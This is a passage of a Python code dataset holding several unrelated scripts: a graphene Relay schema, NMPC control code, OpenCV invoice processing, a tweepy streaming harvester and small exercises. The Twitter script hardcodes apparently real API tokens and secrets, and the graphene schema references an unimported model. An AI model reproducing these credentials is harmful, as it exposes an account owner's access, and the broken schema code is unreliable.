self.neg_entropy(x)","sub_path":"loss_functions/coteaching_loss.py","file_name":"coteaching_loss.py","file_ext":"py","file_size_in_byte":10845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"93426462","text":"import graphene\nimport django_filters\nfrom graphene_django import DjangoObjectType\nfrom graphene_django.filter import DjangoFilterConnectionField\n\nfrom .models import Project, Task, Doc\n\nclass CodeReferenceFilter(django_filters.FilterSet):\n class Meta:\n model = CodeReference\n fields = ['proj_name', 'file_name', 'ver_num', 'link', 'prog_lang']\n\nclass CodeReferenceNode(DjangoObjectType):\n class Meta:\n model = CodeReference\n interfaces = (graphene.relay.Node, )\n\nclass RelayQuery(graphene.ObjectType):\n relay_CodeReference = graphene.relay.Node.Field(CodeReferenceNode)\n relay_codes = DjangoFilterConnectionField(CodeReferenceNode, filterset_class=CodeReferenceFilter)\n\nclass RelayCreateCodeReference(graphene.relay.ClientIDMutation):\n code_reference = graphene.Field(CodeReferenceNode)\n\n class Input:\n proj_name = graphene.String()\n file_name = graphene.String()\n ver_num = graphene.String()\n link = graphene.String()\n prog_lang = graphene.String()\n difficulty = graphene.Int()\n\n def mutate_and_get_payload(self, info, **input):\n code_reference = CodeReference(\n proj_name=input.get('proj_name'),\n file_name=input.get('file_name'),\n ver_num=input.get('ver_num'),\n link=input.get('link'),\n prog_lang=input.get('prog_lang'),\n difficulty=input.get('difficulty')\n )\n code_reference.save()\n\n return RelayCreateCodeReference(code_reference=code_reference)\n\nclass RelayMutation(graphene.AbstractType):\n relay_create_code_reference = RelayCreateCodeReference.Field()\n\n","sub_path":"api/code_references/schema_relay.py","file_name":"schema_relay.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"506671926","text":"from __future__ import print_function\nfrom pyomo.environ import *\n# from nmpc_mhe.dync.MHEGen import MheGen\nfrom nmpc_mhe.dync.NMPCGen import NmpcGen\nfrom nmpc_mhe.mods.distl.dist_col import *\nimport sys\nimport itertools, sys\n\nstates = [\"x\", \"M\"]\nx_noisy = [\"x\", \"M\"]\nu = [\"u1\", \"u2\"]\nref_state = {(\"T\", (29,)): 343.15, (\"T\", (14,)): 361.15}\nu_bounds = {\"u1\": (0.0001, 9.9999e-1), \"u2\": (0, 1e+08)}\n# weights = {(\"T\", (29,)): 1000., (\"T\", (14,)): 1000.}\n# Known targets 0.38, 0.4, 0.5\n# Let's roll with the Temperature of the gas-emulsion, pressure and gas_velocity\n\ny = [\"T\", \"Mv\", \"Mv1\", \"Mvn\"]\n\nntrays = 42\ny_vars = {\"T\": [(i,) for i in range(1, ntrays + 1)],\n \"Mv\": [(i,) for i in range(2, ntrays)],\n \"Mv1\": [((),)],\n \"Mvn\": [((),)]}\n\nx_vars = {\"x\": [(i,) for i in range(1, ntrays + 1)],\n \"M\": [(i,) for i in range(1, ntrays + 1)]}\nnfet = 10\ntfe = [i for i in range(1, nfet + 1)]\n\n\nc = NmpcGen(d_mod=DistDiehlNegrete,\n u=u,\n states=states,\n ref_state=ref_state,\n u_bounds=u_bounds)\n\n\nc.load_iguess_ss()\nc.solve_ss()\nc.load_d_s(c.d1)\nc.solve_d(c.d1)\n\nc.update_state_real() # update the current state\n\nc.find_target_ss()\nc.create_nmpc()\nc.update_targets_nmpc()\nc.compute_QR_nmpc(n=-1)\nc.new_weights_olnmpc(10000, 1e+06)\nc.d1.create_bounds()\n\nc.create_predictor()\nc.predictor_step(c.d1, \"real\")\n\nq_cov = {}\nfor j in range(1, ntrays + 1):\n q_cov[(\"x\", (j,))] = 1e-05\n q_cov[(\"M\", (j,))] = 1\n\n\nc.make_noisy(q_cov)\nfor i in range(1, 1000):\n c.solve_d(c.d1, stop_if_nopt=True, o_tee=True)\n\n # Dot_sens\n\n with open(\"debug1.txt\", \"w\") as f:\n c.d1.w_pnoisy.display(ostream=f)\n c.randomize_noize(q_cov)\n c.update_state_real() # update the current state\n c.update_soi_sp_nmpc()\n\n c.predictor_step(c.d1, \"real\")\n c.update_state_predicted()\n c.compute_offset_state(\"real\")\n c.initialize_olnmpc(c.d2, \"predicted\")\n c.load_init_state_nmpc(src_kind=\"predicted\")\n\n c.solve_d(c.olnmpc, stop_if_nopt=True, skip_update=False, iter_max=1000)\n c.update_u(c.olnmpc)\n c.print_r_nmpc()\n c.cycle_ics(plant_step=True)\n # c.cycle_ics_noisy()\n c.plant_input_gen(c.d1, src_kind=\"dict\")\n\n\n\n","sub_path":"nmpc_mhe/nmpc_dist_off.py","file_name":"nmpc_dist_off.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"422633196","text":"# -*- coding: utf-8 -*-\n'''\n@author: Carry\n@file: processer.py\n@time: 2020/10/27 19:04 \n@desc: \n'''\nimport base64\nimport functools\nimport logging\nimport time\n\nimport cv2\nimport numpy as np\n\ntemplate_boxs = []\nname = ['buyer_name', 'buyer_id', 'buyer_address_phone', 'buyer_bank_no', 'seller_name', 'seller_id',\n 'seller_address_phone', 'seller_bank_no', 'bill_no', 'price', 'tax', 'account_cap', 'account_lower', 'date']\n\nbuyer_name = [375, 272, 1092, 272, 1092, 316, 375, 316]\nbuyer_id = [375, 316, 1092, 316, 1092, 360, 375, 360]\nbuyer_address_phone = [375, 360, 1092, 360, 1092, 407, 375, 407] # nation=[245,105,308,105,308,135,245,135]\nbuyer_bank_no = [375, 407, 1092, 407, 1092, 453, 375, 453] # birthday=[116,156,335,156,335,184,116,184]\nseller_name = [375, 922, 1092, 922, 1092, 966, 375, 966]\nseller_id = [375, 966, 1092, 966, 1092, 1009, 375, 1009]\nseller_address_phone = [375, 1009, 1092, 1009, 1092, 1050, 375, 1050]\nseller_bank_no = [375, 1050, 1092, 1050, 1092, 1089, 375, 1089]\nbill_no = [1407, 72, 1654, 72, 1654, 143, 1407, 143]\nprice = [1232, 793, 1489, 793, 1489, 838, 1232, 838]\ntax = [1586, 793, 1842, 793, 1842, 838, 1586, 838]\naccount_cap = [629, 860, 1356, 860, 1356, 908, 629, 908]\naccount_lower = [1459, 860, 1838, 860, 1838, 910, 1459, 910]\ndate = [1540, 193, 1848, 193, 1848, 241, 1540, 241]\n\ntemplate_boxs.append(buyer_name)\ntemplate_boxs.append(buyer_id)\ntemplate_boxs.append(buyer_address_phone)\ntemplate_boxs.append(buyer_bank_no)\ntemplate_boxs.append(seller_name)\ntemplate_boxs.append(seller_id)\ntemplate_boxs.append(seller_address_phone)\ntemplate_boxs.append(seller_bank_no)\ntemplate_boxs.append(bill_no)\ntemplate_boxs.append(price)\ntemplate_boxs.append(tax)\ntemplate_boxs.append(account_cap)\ntemplate_boxs.append(account_lower)\ntemplate_boxs.append(date)\n\nbill_dict = dict(zip(name, template_boxs))\n\nx_threshold = 10\ny_threshold = 10\nx_Lengthen = 5\ny_lengthen = 5\n\nkp1 = des1 = hf1 = wf1 = None\n\n\ndef call_time(func):\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n start_time = time.time()\n result = func(*args, **kwargs)\n end_time = time.time()\n logging.info('-' * 20 + ' {} call_time:{} '.format(func.__name__, str(end_time - start_time)) + '-' * 20)\n return result\n\n return wrapper\n\n\ndef img2base64(imgpath):\n with open(imgpath, \"rb\") as f: # 转为二进制格式\n base64_data = base64.b64encode(f.read()).decode() # 使用base64进行加密\n return base64_data\n\n\ndef img_resize(imggray, dwidth):\n '''\n 等比缩放\n :param imggray:\n :param dwidth:\n :return:\n '''\n crop = imggray\n size = crop.get().shape\n height = size[0]\n width = size[1]\n height = height * dwidth / width\n crop = cv2.resize(src=crop, dsize=(dwidth, int(height)), interpolation=cv2.INTER_CUBIC)\n return crop\n\n\n@call_time\ndef get_perspective_img(parse_img_name):\n '''\n 获取透视变换后的图片\n :return:\n '''\n logging.info('-' * 20 + ' 开始处理: ' + '-' * 20)\n W = 1920 # resize后的宽\n template_img_name = './images/template_bak.jpg'\n # test_img = './carry_zone/test_04.jpg'\n\n if 1:\n # SIFT 精度高 慢 20s\n surf = cv2.xfeatures2d.SIFT_create()\n else:\n # SURF(加速稳健特征)算法 速度快\n surf = cv2.xfeatures2d.SURF_create(1000) # 默认100,关键点检测的阈值,越高监测的点越少\n global kp1, des1, hf1, wf1\n if kp1 is None:\n # UMat是一个图像容器\n template_img = img_resize(cv2.UMat(cv2.imread(template_img_name, cv2.IMREAD_GRAYSCALE)), W)\n hf1, wf1 = cv2.UMat.get(template_img).shape\n\n # 返回keypoints是检测关键点,descriptor是描述符,这是图像一种表示方式,可以比较两个图像的关键点描述符,可作为特征匹配的一种方法。\n kp1, des1 = surf.detectAndCompute(template_img, None)\n\n # 画出关键点(特征点)\n # kpImgA = cv2.drawKeypoints(imageA, kp1, imageA)\n # # kpImgB = cv2.drawKeypoints(grayB, keypointsB, imageB)\n # cv2.imshow(\"kpImgA\", kpImgA)\n\n parse_img = img_resize(cv2.UMat(parse_img_name), W)\n # parse_img = img_resize(cv2.UMat(cv2.imread(test_img, cv2.IMREAD_GRAYSCALE)), W)\n\n kp2, des2 = surf.detectAndCompute(parse_img, None)\n\n # 用FlannBasedMatcher方法进行特征点匹配,寻找最近邻近似匹配\n FLANN_INDEX_KDTREE = 0\n index_params = dict(algorithm=FLANN_INDEX_KDTREE, trees=5)\n search_params = dict(checks=10)\n # 匹配耗时 待优化\n matches = cv2.FlannBasedMatcher(index_params, search_params).knnMatch(des1, des2, k=2)\n\n # 通过描述符的距离进行选择需要的点\n coff = 0.5 # 0.1 0.2 0.8\n good_matches = [m for m, n in matches if m.distance < coff * n.distance]\n if len(good_matches) < 10:\n return None\n\n # 获取映射变换矩阵,findHomography 计算多个二维点对之间的最优单映射变换矩阵H\n src_pts = np.float32([kp1[m.queryIdx].pt for m in good_matches]).reshape(-1, 1, 2)\n dst_pts = np.float32([kp2[m.trainIdx].pt for m in good_matches]).reshape(-1, 1, 2)\n m, mask = cv2.findHomography(src_pts, dst_pts, cv2.RANSAC, 5.0)\n\n m_r = np.linalg.inv(m)\n result_img = cv2.warpPerspective(parse_img, m_r, (wf1, hf1), borderValue=[255, 255, 255])\n cv2.imwrite(\"./images/_perspective.jpg\", result_img.get())\n result_img = result_img.get().astype(np.uint8)\n return result_img\n\n\ndef make_iou(box1, box2):\n \"\"\"\n 计算两个矩形的交集和并集的比\n :param box1:[x1,y1,x2,y2] 左上角的坐标与右下角的坐标\n :param box2:[x1,y1,x2,y2]\n :return: iou_ratio--交并比\n \"\"\"\n width1 = abs(box1[2] - box1[0])\n height1 = abs(box1[1] - box1[3]) # 这里y1-y2是因为一般情况y1>y2,为了方便采用绝对值\n width2 = abs(box2[2] - box2[0])\n height2 = abs(box2[1] - box2[3])\n x_max = max(box1[0], box1[2], box2[0], box2[2])\n y_max = max(box1[1], box1[3], box2[1], box2[3])\n x_min = min(box1[0], box1[2], box2[0], box2[2])\n y_min = min(box1[1], box1[3], box2[1], box2[3])\n iou_width = x_min + width1 + width2 - x_max\n iou_height = y_min + height1 + height2 - y_max\n if iou_width <= 0 or iou_height <= 0:\n iou_ratio = 0\n else:\n iou_area = iou_width * iou_height # 交集的面积\n box1_area = width1 * height1\n box2_area = width2 * height2\n iou_ratio = iou_area / (box1_area + box2_area - iou_area) # 并集的面积\n return iou_ratio\n\n\n@call_time\ndef get_area(detect_boxes, w, h):\n '''\n 遍历检测框 获取指定区域\n :param detect_boxes:\n :return:\n '''\n boxes = four_point_2_two(detect_boxes)\n\n boxes_new = two_point_2_four(boxes)\n\n new_rectangle_list = merge_boxs(boxes_new, w, h)\n print(len(detect_boxes), len(new_rectangle_list))\n\n draw_rectangle(new_rectangle_list)\n\n ret_dic = {}\n for i, key in enumerate(bill_dict.keys()):\n mark_iou_ratio = 0.1\n template_box = bill_dict[key]\n template_box_new = [template_box[0], template_box[1],\n template_box[4], template_box[5]]\n for detect_boxe in new_rectangle_list:\n detect_boxe_new = detect_boxe\n iou_ratio = make_iou(detect_boxe_new, template_box_new)\n if iou_ratio > mark_iou_ratio:\n mark_iou_ratio = iou_ratio\n print(key, iou_ratio)\n ret_dic[key] = detect_boxe\n return ret_dic\n\n\ndef merge_boxs(point_list, w, h):\n \"\"\"\n 将list中矩形合并,并将新矩形增加高度和宽度返回\n :param point_list: 矩形list\n :param w: 图片宽\n :param h: 图片高\n :return: 新的矩形list\n \"\"\"\n\n def two_point_compare(point_1, point_2):\n \"\"\"\n 看两个矩形是否靠近,如果两个矩形的距离在一定范围之内,则生成一个新的矩形,\n 新矩形的左上角点为原先两个矩形左边矩形的左上角点\n 新矩形的右下角点为原先两个矩形右边边矩形的右下角点\n :param point_1: 矩形1\n :param point_2: 矩形2\n :return: 新矩形\n \"\"\"\n if point_1[0] >= point_2[0]:\n # point_1 在 point_2 右边\n point_change_1 = point_2\n point_change_2 = point_1\n else:\n point_change_1 = point_1\n point_change_2 = point_2\n if abs(point_change_1[2] - point_change_2[0]) <= x_threshold and abs(\n point_change_1[3] - point_change_2[1]) <= y_threshold:\n if point_change_1[3] - point_change_2[1] > 0:\n new_point = (\n point_change_1[0], point_change_2[1],\n point_change_2[2], point_change_2[3],\n point_change_2[4], point_change_2[5],\n point_change_1[6], point_change_1[7])\n else:\n new_point = (\n point_change_1[0], point_change_1[1],\n point_change_2[2], point_change_2[3],\n point_change_2[4], point_change_2[5],\n point_change_1[6], point_change_1[7])\n else:\n new_point = ()\n\n return new_point\n\n def get_new_list(old_list):\n \"\"\"\n 将原list中的矩形判断距离,距离在一定范围之内的矩形按照上面的方式合并成一个新的矩形,并将新矩形添加到list中\n ,并将原先两个矩形从list中移除。\n :param old_list: 矩形的list\n :return: 新生成的list\n \"\"\"\n for i in range(len(old_list)):\n if i == len(old_list):\n break\n point1 = old_list[i]\n for j in range(i + 1, len(old_list)):\n point2 = old_list[j]\n if point1 != point2:\n new_point = two_point_compare(point1, point2)\n if new_point != ():\n old_list.remove(point1)\n old_list.remove(point2)\n old_list.append(new_point)\n break\n else:\n pass\n\n return old_list\n\n def get_new_point_list(point_list):\n \"\"\"\n 将list中的在一定范围内的矩形都合并\n :param point_list: 矩阵list\n :return: 合并矩阵之后的矩阵\n \"\"\"\n len_ori = len(point_list)\n while True:\n new_list = get_new_list(point_list)\n len_new = len(new_list)\n if len_ori == len_new:\n break\n len_ori = len(new_list)\n return new_list\n\n def point_change(point, w, h):\n \"\"\"\n 将矩形增加宽度和高度,但是增加后的矩形的顶点要在图片中\n :param point: 矩形\n :param w: 图片的宽度\n :param h: 图片的高度\n :return: 新矩形\n \"\"\"\n x1 = point[0]\n y1 = point[1]\n x2 = point[4]\n y2 = point[5]\n return (x1 - x_Lengthen if (x1 - x_Lengthen > 0) else 0,\n y1 - y_lengthen if (y1 - y_lengthen > 0) else 0,\n x2 + x_Lengthen if (x2 + x_Lengthen < w) else w,\n y2 + y_lengthen if (y2 + y_lengthen < h) else h)\n\n new_list = []\n old_list = get_new_point_list(point_list)\n for old_point in old_list:\n new_point = point_change(old_point, w, h)\n if new_point[0] < new_point[2] and new_point[1] < new_point[3]:\n new_list.append(new_point)\n\n return new_list\n\n\ndef draw_rectangle(new_rectangle_list):\n '''\n 画出矩形\n :param new_rectangle_list:\n :return:\n '''\n img_path = './images/detect_boxs.jpg'\n img = cv2.imread(img_path)\n for detect_boxes in new_rectangle_list:\n # 画矩形,红色的线框出来。\n if len(detect_boxes) == 4:\n cv2.rectangle(img=img, pt1=(int(detect_boxes[0]), int(detect_boxes[1])),\n pt2=(int(detect_boxes[2]), int(detect_boxes[3])),\n color=(0, 0, 255), thickness=2)\n cv2.imwrite('./images/merge_boxs.jpg', img)\n\n\ndef change_boxs(detect_boxes):\n new_boxs = []\n for detect_box in detect_boxes:\n new_boxs.append((detect_box[2][0], detect_box[2][1],\n detect_box[3][0], detect_box[3][1],\n detect_box[0][0], detect_box[0][1],\n detect_box[1][0], detect_box[1][1]))\n return new_boxs\n\n\ndef four_point_2_two(point_list):\n '''\n 四个乱序坐标转左上和右下两个点坐标\n :param point_list:\n :return:\n '''\n result = []\n for old_point in point_list:\n new_list = []\n x = [int(old_point[0][0]), int(old_point[1][0]), int(old_point[2][0]), int(old_point[3][0])]\n y = [int(old_point[0][1]), int(old_point[1][1]), int(old_point[2][1]), int(old_point[3][1])]\n new_list.append(min(x))\n new_list.append(min(y))\n new_list.append(max(x) + 5)\n new_list.append(max(y) + 1)\n result.append(new_list)\n return result\n\n\ndef two_point_2_four(point_list):\n '''\n 左上和右下两个点坐标转四个点坐标\n :param point_list:\n :return:\n '''\n result = []\n for old_point in point_list:\n w = old_point[2] - old_point[0]\n h = old_point[3] - old_point[1]\n new_list = []\n new_list.append(old_point[0])\n new_list.append(old_point[1])\n new_list.append(old_point[0] + w)\n new_list.append(old_point[1])\n new_list.append(old_point[2])\n new_list.append(old_point[3])\n new_list.append(old_point[0])\n new_list.append(old_point[1] + h)\n result.append(new_list)\n return result\n\n\ndef get_cut_image(coordinate_point, image):\n \"\"\"\n 根据四个顶点的坐标,将坐标围成的长方形图片从原图中裁减出来\n :param coordinate_point:四个顶点的坐标\n :param image: 原图\n :return: 裁减出来的图片\n \"\"\"\n x0 = coordinate_point[0]\n x1 = coordinate_point[2]\n y0 = coordinate_point[1]\n y1 = coordinate_point[3]\n cropped = image[y0:y1, x0:x1]\n return cropped\n\n\n# def fix_ret(key):\n# if key == ''\n\n\nif __name__ == '__main__':\n import re\n\n name = '名,。称:上海团迈贸易有限公司'\n name = '称:上海团迈贸易有限公司'\n name = '名 称:上海团称迈贸易有限公司'\n s = re.sub('名?.*称:', \"\", name)\n # if ret_dic['buyer_name'].startswith('称:'):\n # ret_dic['buyer_name'] = ret_dic['buyer_name'].replace('称:', '')\n # print(ret_dic['buyer_name'])\n\n print(s)\n","sub_path":"processer.py","file_name":"processer.py","file_ext":"py","file_size_in_byte":14661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"10145865","text":"# Import the necessary methods from tweepy library\nfrom tweepy.streaming import StreamListener\nfrom tweepy import OAuthHandler\nfrom tweepy import Stream\nimport json\n\n# Variables that contains the user credentials to access Twitter API\nfrom harvester import Database\n\naccess_token = \"1083653718581497857-VSyJpAIMjFZaWpg0eJ0M8G409KPkJJ\"\naccess_token_secret = \"3SGS9VfU3UvaXw84y0yRULfdIXFDryxIuxpYD83aMMygP\"\nconsumer_key = \"DYMWGxnSrF8aG5rISt1oBSBSO\"\nconsumer_secret = \"of33s312AnD247lDcCQGHHK6ciAsdVmqqbm58nwiJo9TAp0lj9\"\n\nAUS_BOUND_BOX = (113.338953078, -43.6345972634, 153.569469029, -10.6681857235)\n\n\n# This is a basic listener that just prints received tweets to stdout.\nclass StdOutListener(StreamListener):\n def __init__(self, auth, db):\n self.auth = auth\n self.db = db\n\n def on_data(self, data):\n # self.file.writelines(json.dumps(data, ensure_ascii=False))\n # write_tweets(self.file, data, self.count)\n print(data)\n self.db.store(data)\n return True\n\n def on_status(self, status):\n print(\"status gives data: \", status)\n\n def on_error(self, status_code):\n print(status_code)\n\n\ndef write_tweets(file, data, count):\n if count == 1:\n file.write('{ \"rows\":[\\n')\n\n tweet = json.loads(data)\n jsonStr = json.dumps(tweet, ensure_ascii=False)\n file.write(jsonStr + ',\\n')\n\n if count == 100:\n file.write(\"]}\\n\")\n if count > 100:\n exit(0)\n\n\nif __name__ == '__main__':\n keywords = ['teat', 'shithappens', 'assjockey', 'asscowboy']\n url = \"http://localhost:5984\"\n db_name = 'new_test'\n db = Database.DB(url, db_name)\n # This handles Twitter authetification and the connection to Twitter Streaming API\n auth = OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_token_secret)\n l = StdOutListener(auth, db)\n stream = Stream(auth, l)\n\n# This line filter Twitter Streams to capture data by the keywords: 'python', 'javascript', 'ruby'\n stream.filter(track=keywords, locations=AUS_BOUND_BOX)\n","sub_path":"Test/Test1.py","file_name":"Test1.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"108953281","text":"with open(r\"\\Users\\JK31434\\Desktop\\Python docs\\Project Euler\\p22_names.txt\") as f:\r\n names = sorted(f.read().replace('\"', '').split(','))\r\nf.closed\r\n\r\nts = 0\r\nalph = 'abcdefghijklmnopqrstuvwxyz'\r\nalphnum ={}\r\nfor i, l in enumerate(alph):\r\n alphnum[l] = i + 1\r\n\r\nfor i, n in enumerate(names):\r\n s = 0\r\n for j in n:\r\n s += alphnum[j.lower()]\r\n ts += (i + 1)*s\r\n\r\nprint(ts)","sub_path":"P22.py","file_name":"P22.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"503876658","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 9:54 2018/10/13\n\n@author: Liu Jinbao\n@mail: liu.jinbao@outlook.com\n@project: PlasmaChemistry\n@IDE: PyCharm\n\"\"\"\n\nfrom plasmistry.io import test_func\n\nline = 'E + @A@ => E + @B@'\nreplc_list = ['@A@ = H2(1) H2(2) H2(3)',\n '@B@ = H2(1) H2(2) H2(3)',\n '@CONDITION : @A@[3]>=@B@[3]']\noutput = test_func(line, replc_list)\n","sub_path":"demo_add_condition_to_plasmistry.io.py","file_name":"demo_add_condition_to_plasmistry.io.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"103297674","text":"from django.urls import register_converter\n\n\nclass CatergoryConverter(object):\n regex = r'\\w+|(\\w+\\+\\w+)+'\n\n def to_python(self, value):\n result = value.split('+')\n return result\n\n def to_url(self, value):\n if isinstance(value, list):\n result = \"+\".join(value)\n return result\n else:\n raise RuntimeError(\"转换url的时候,转换参数必须为列表!\")\n\n\nregister_converter(CatergoryConverter, 'cate')\n","sub_path":"article/converters.py","file_name":"converters.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"568223514","text":"#ready ....\n# can find python 3 module index from google\n# all modules w/ python\nimport random\n\n\nfor i in range(3):\n print(round(random.random()*10))\n print(random.randint(10, 20))\n\nmembers =['John','Mary', 'Bob', 'Josh']\n\nleader = random.choice(members)\nprint(leader)\n\ndef roll():\n dice = (1,2,3,4,5,6)\n result = random.choice(dice)\n print(result)\n\nroll()\n\n\ndef roll2():\n first = random.randint(1,6)\n second = random.randint(1,6)\n\n\nroll2()\nroll2()","sub_path":"17_Generating_random_values.py","file_name":"17_Generating_random_values.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"64609287","text":"import os,re,cv2,pywt,scipy\nimport scipy.stats\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom time import time\n\n\ndef reducirImagen(img,porcentajeReduccion): #Input: Imagen de cv2, porcentaje que desea mantener de la img original en rango (0-100)\n width = int(img.shape[1] * porcentajeReduccion / 100)\n height = int(img.shape[0] * porcentajeReduccion / 100)\n dim = (width, height)\n return cv2.resize(img, dim)\n\ndef segmentarKmeans(img):\n pixel_values = img.reshape((-1, 3)) # reshape the image to a 2D array of pixels and 3 color values (RGB)\n pixel_values = np.float32(pixel_values) # convert to float\n criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 100, 0.2) # define stopping criteria\n k = 2 # number of clusters (K)\n _, labels, (centers) = cv2.kmeans(pixel_values, k, None, criteria, 10, cv2.KMEANS_RANDOM_CENTERS)\n centers = np.uint8(centers)\n labels = labels.flatten()\n segmented_image = centers[labels.flatten()]\n segmented_image = segmented_image.reshape(img.shape)\n return segmented_image\n\ndef histograma(I, bins):\n (c1, hc1) = np.histogram((I[:, :, 0]), bins)\n (c2, hc2) = np.histogram((I[:, :, 1]), bins)\n (c3, hc3) = np.histogram((I[:, :, 2]), bins)\n c1 = np.append(c1, c2)\n c3 = np.append(c1, c3)\n return (c3)\n\n\ndef fu(I):\n f = np.real(np.fft.rfft2(I))\n f = np.asarray(f).reshape(-1)\n FFTM = f.mean()\n FFTD = f.std()\n FFTK = scipy.stats.kurtosis(f)\n FFTS = scipy.stats.skew(f)\n return ([FFTM, FFTD, FFTK, FFTS])\n\n\ndef fourier(I,prueba): #Puse un parmtro entrada prueba, para usar hilos, no lo necesita, pero fue más fácil así\n I1 = fu(I[:, :, 0])\n I2 = fu(I[:, :, 1])\n I3 = fu(I[:, :, 2])\n return ([I1, I2, I3])\n\n\ndef dwt(I): # TRANSFORMADA WAVELET\n\n coeffs2 = pywt.dwt2(I, 'bior1.3')\n LL, (LH, HL, HH) = coeffs2\n LH = np.asarray(LH).reshape(-1)\n HL = np.asarray(HL).reshape(-1)\n HH = np.asarray(HH).reshape(-1)\n mlh = scipy.mean(LH)\n stdlh = scipy.std(LH)\n slh = scipy.stats.skew(LH)\n klh = scipy.stats.kurtosis(LH)\n mhl = scipy.mean(HL)\n stdhl = scipy.std(HL)\n shl = scipy.stats.skew(HL)\n khl = scipy.stats.kurtosis(HL)\n mhh = scipy.mean(HH)\n stdhh = scipy.std(HH)\n shh = scipy.stats.skew(HH)\n khh = scipy.stats.kurtosis(HH)\n return ([mlh, stdlh, slh, klh, mhl, stdhl, shl, khl, mhh, stdhh, shh, khh])\n\n\ndef wavelet(I,prueba):\n I1 = dwt(I[:, :, 0])\n I2 = dwt(I[:, :, 1])\n I3 = dwt(I[:, :, 2])\n return ([I1, I2, I3])\n\ndef hogDescriptor(I,prueba):\n hog = cv2.HOGDescriptor()\n hogDesc = hog.compute(I)\n hogMedia = hogDesc.mean()\n hogStd = hogDesc.std()\n return [hogMedia,hogStd]\n\n\ndef siftGrayDescriptor(gray,prueba): #computa sift para un solo canal\n sift = cv2.SIFT_create()\n kp, des = sift.detectAndCompute(gray, None)\n meanSiftGray = des.mean()\n stdSiftGray = des.std()\n skewSiftGray = scipy.stats.skew(des.ravel())\n kurtSiftGray = scipy.stats.kurtosis(des.ravel())\n return [meanSiftGray,stdSiftGray,skewSiftGray,kurtSiftGray]\n\n\ndef siftDescriptor(img,prueba):\n return [siftGrayDescriptor(img[:,:,0],0),siftGrayDescriptor(img[:,:,1],0),siftGrayDescriptor(img[:,:,2],0)]\n\n\n\n","sub_path":"funcionesCafe.py","file_name":"funcionesCafe.py","file_ext":"py","file_size_in_byte":3222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"66502007","text":"import numpy as np\nimport cv2\nfrom collections import deque\nfrom src.window import Window\n\nclass Lane(object):\n\n def __init__(self, h, w, perspective_transformer,n_windows = 9):\n # Image height in pixels\n self.h = h\n # Image width in pixel\n self.w = w\n # List of recent polynomial coefficients\n self.coefficients = deque(maxlen=5)\n # List of recent polynomial coefficients\n self.last_coefficients = None\n # Amount of not found lanes in recent frames\n self.not_found = 0\n # Windows amount\n self.n_windows = n_windows\n # Window height\n self.window_height = int(self.h / self.n_windows)\n # List of searching windows\n self.windows = []\n self.perspective_transformer = perspective_transformer\n\n def track(self, nonzero, x_start = None):\n if x_start is not None:\n indices = self.init_windows(nonzero, x_start)\n else:\n indices = self.scan_windows(nonzero)\n\n self.process_points(nonzero[1][indices], nonzero[0][indices])\n\n def scan_windows(self, nonzero):\n indices = np.empty([0], dtype=np.int)\n window_x = None\n for window in self.windows:\n indices = np.append(indices, window.pixels_in(nonzero, window_x), axis=0)\n window_x = window.mean_x\n return indices\n\n def init_windows(self, nonzero, x_start):\n indices = np.empty([0], dtype=np.int)\n self.windows = []\n for i in range(self.n_windows):\n window = Window(\n y1=self.h - (i + 1) * self.window_height,\n y2=self.h - i * self.window_height,\n x=self.windows[-1].mean_x if len(self.windows) > 0 else x_start\n )\n indices = np.append(indices, window.pixels(nonzero), axis=0)\n self.windows.append(window)\n return indices\n\n def is_good_lane(self, x, y):\n enough_points = len(y) > 0 and np.max(y) - np.min(y) > self.h * .625\n return enough_points\n\n def process_points(self, x, y):\n if self.is_good_lane(x, y) or len(self.coefficients) == 0:\n self.fit(x, y)\n self.not_found = 0\n else:\n self.not_found += 1\n\n def get_points(self):\n y = np.linspace(0, self.h - 1, self.h)\n current_fit = self.averaged_fit()\n return np.stack((\n current_fit[0] * y ** 2 + current_fit[1] * y + current_fit[2],\n y\n )).astype(np.int).T\n\n def averaged_fit(self):\n return np.array(self.coefficients).mean(axis=0)\n\n def fit(self, x, y):\n if len(x) != 0:\n self.last_coefficients = np.polyfit(y, x, 2)\n self.coefficients.append(self.last_coefficients)\n else:\n self.last_coefficients = None\n\n def radius_of_curvature(self):\n points = self.get_points()\n y = points[:, 1]\n x = points[:, 0]\n fit_cr = np.polyfit(y * self.perspective_transformer.ym_per_pix, x * self.perspective_transformer.xm_per_pix, 2)\n # Estimate radius of curvature in meters.\n return int(((1 + (2 * fit_cr[0] * 720 * self.perspective_transformer.ym_per_pix + fit_cr[1]) ** 2) ** 1.5) / np.absolute(2 * fit_cr[0]))\n\n def camera_distance(self):\n # Estimated distance to camera in meters.\n points = self.get_points()\n x = points[np.max(points[:, 1])][0]\n return np.absolute((self.w // 2 - x) * self.perspective_transformer.xm_per_pix)\n\n\n\n def draw(self, image):\n cv2.polylines(image, [self.get_points()], False, (255, 0, 0), 2)","sub_path":"src/lane.py","file_name":"lane.py","file_ext":"py","file_size_in_byte":3604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"457876398","text":"from __future__ import 